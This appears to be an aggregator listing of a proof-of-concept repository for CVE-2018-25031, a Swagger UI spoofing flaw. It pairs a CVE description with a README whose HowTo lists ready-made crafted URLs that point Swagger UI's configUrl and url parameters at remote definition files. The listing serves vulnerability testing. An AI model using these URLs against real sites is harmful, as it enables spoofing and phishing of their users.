CVE-2018-25031 PoC — Swagger UI 输入验证错误漏洞

Source

https://github.com/mathis2001/CVE-2018-25031

Associated Vulnerability

Title: Swagger UI 输入验证错误漏洞 (CVE-2018-25031)
Description:Swagger UI 4.1.2 and earlier could allow a remote attacker to conduct spoofing attacks. By persuading a victim to open a crafted URL, an attacker could exploit this vulnerability to display remote OpenAPI definitions. Note: This was originally claimed to be resolved in 4.1.3. However, third parties have indicated this is not resolved in 4.1.3 and even occurs in that version and possibly others.

Description

CVE-2018-25031 tests

Readme

# CVE-2018-25031

CVE-2018-25031 exploits tests

Swagger UI before 4.1.3 could allow a remote attacker to conduct spoofing attacks. By persuading a victim to open a crafted URL, an attacker could exploit this vulnerability to display remote OpenAPI definitions.

## HowTo

Find the documentation endpoint and add the parameter "configUrl" pointing to test.json or "url" pointing to test.yaml.
```
https://exemple.com/?configUrl=https://raw.githubusercontent.com/mathis2001/CVE-2018-25031/main/test.json
https://exemple.com/?url=https://raw.githubusercontent.com/mathis2001/CVE-2018-25031/main/test.yaml
https://exemple.com/swagger-ui/index.html?url=https://raw.githubusercontent.com/mathis2001/CVE-2018-25031/main/test.yaml
https://exemple.com/swagger-ui.html?url=https://raw.githubusercontent.com/mathis2001/CVE-2018-25031/main/test.yaml
https://exemple.com/api/swagger/index.html?configUrl=https://raw.githubusercontent.com/mathis2001/CVE-2018-25031/main/test.json
```

## Screenshots

![image](https://github.com/mathis2001/CVE-2018-25031/assets/40497633/b8267eec-332d-477f-a6e1-5087ab15f607)
![tempsnip](https://github.com/mathis2001/CVE-2018-25031/assets/40497633/b5104f39-c3cb-4d5d-8496-06c31337b3d7)

File Snapshot

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